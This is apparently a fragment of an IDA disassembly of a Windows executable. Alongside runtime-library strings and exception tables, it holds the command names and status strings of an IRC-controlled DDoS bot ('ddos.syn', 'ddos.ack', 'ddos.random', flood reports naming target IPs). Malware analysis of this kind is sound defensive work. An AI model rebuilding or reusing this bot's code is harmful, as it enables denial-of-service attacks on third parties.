		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------

loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h

loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 25B0000h, 25B01A7h, 25C0000h, 25C05B8h, 25D0000h, 25D0BA7h
		dd 25E0000h, 25E03F2h, 25E0485h, 25E0971h, 25F0000h, 25F0815h
		dd 2600000h, 26008B4h, 2600B04h
dword_42403C	dd 2600B21h		; DATA XREF: ___:0041F496r
		dd 2600BBDh, 2600EBFh, 2610000h, 261010Fh, 261029Fh, 26102D3h
dword_424058	dd 2610763h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 261080Eh, 2610B12h
dword_424064	dd 2610F41h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 2620000h, 26204B9h
dword_424070	dd 2630000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 2631104h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 26319EBh		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2640000h, 2640753h
dword_424084	dd 2650000h		; DATA XREF: sub_40AB7C+36r
		dd 2650248h
dword_42408C	dd 265031Fh		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 265035Ah, 2660000h, 2670000h, 2680000h
dword_4240A0	dd 2680AA6h		; DATA XREF: sub_4165C6+32r
		dd 2680C36h, 2690000h, 2690114h, 2690941h, 26A0000h, 26B0000h
dword_4240BC	dd 26C0000h		; DATA XREF: sub_408EE5+26r
		dd 26D0000h, 77F7E300h,	77F7E21Fh, 26D0AA5h, 26E0000h
		dd 26E0742h
dword_4240D8	dd 26F0000h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 26F069Fh		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 2700000h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 270039Ch
dword_4240E8	dd 2710000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2710ACEh		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2710B37h
dword_4240F4	dd 2710E01h		; DATA XREF: sub_409392+56r
		dd 2720000h, 2720561h
dword_424100	dd 2720B21h		; DATA XREF: sub_40981F+2r
		dd 2730000h, 2740000h, 2740628h, 2740CB0h, 2750000h, 275058Bh
		dd 2760000h, 2760575h, 2770000h, 277107Bh, 277115Dh, 2780000h
		dd 2780473h, 2780858h
dword_42413C	dd 2780DC9h		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 2790000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 2791295h, 27A0000h, 77E75CB5h
dword_424150	dd 27B0000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27C0000h, 27C0BE7h, 27C0CD5h
dword_424160	dd 27D0000h		; DATA XREF: ___:loc_40E864r
		dd 27D0330h
dword_424168	dd 27D08DAh		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27D0A0Dh, 27D0B3Ah, 27E0000h, 27E039Eh, 27E08E0h, 27E0AFEh
		dd 27E0BE4h, 27F0000h, 2800000h, 2800ABEh, 2810000h, 2820000h
		dd 2821AFFh, 2821B4Eh, 2830000h, 2840000h, 284019Bh
dword_4241B0	dd 28406F7h		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2840875h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 2840991h, 2850000h, 2850511h, 2860000h, 2870000h, 2871205h
		dd 287195Bh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_433C6Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_433C68o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_435EBCo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_4362FCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_436A1Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 436A1Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_436A34	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_436A34
		dd offset dword_424DB0+4
off_424DD8	dd offset off_436A54	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_436A54
		dd offset dword_424DFC+4
off_424E24	dd offset off_436A74	; DATA XREF: ___:00424E3Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424E48	dd 3 dup(0)		; DATA XREF: ___:00424E6Co
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
		dd offset off_436A74
		dd offset dword_424E48+4
off_424E70	dd offset off_436A98	; DATA XREF: ___:00424E88o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E70
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_436A98
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_436A1C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_436A1C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_436A34
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_436A54
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
		dd offset off_436A74
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(0EF6F070h), 5 dup(6D614BC2h), 5 dup(4BC198A7h)
		dd 7Ah dup(0)
		dd 4BC198A7h, 0
		dd 0EF6F070h, 12h dup(0)
; ---------------------------------------------------------------------------
		retn	614Bh
; ---------------------------------------------------------------------------
		db 6Dh
		dd 319h	dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
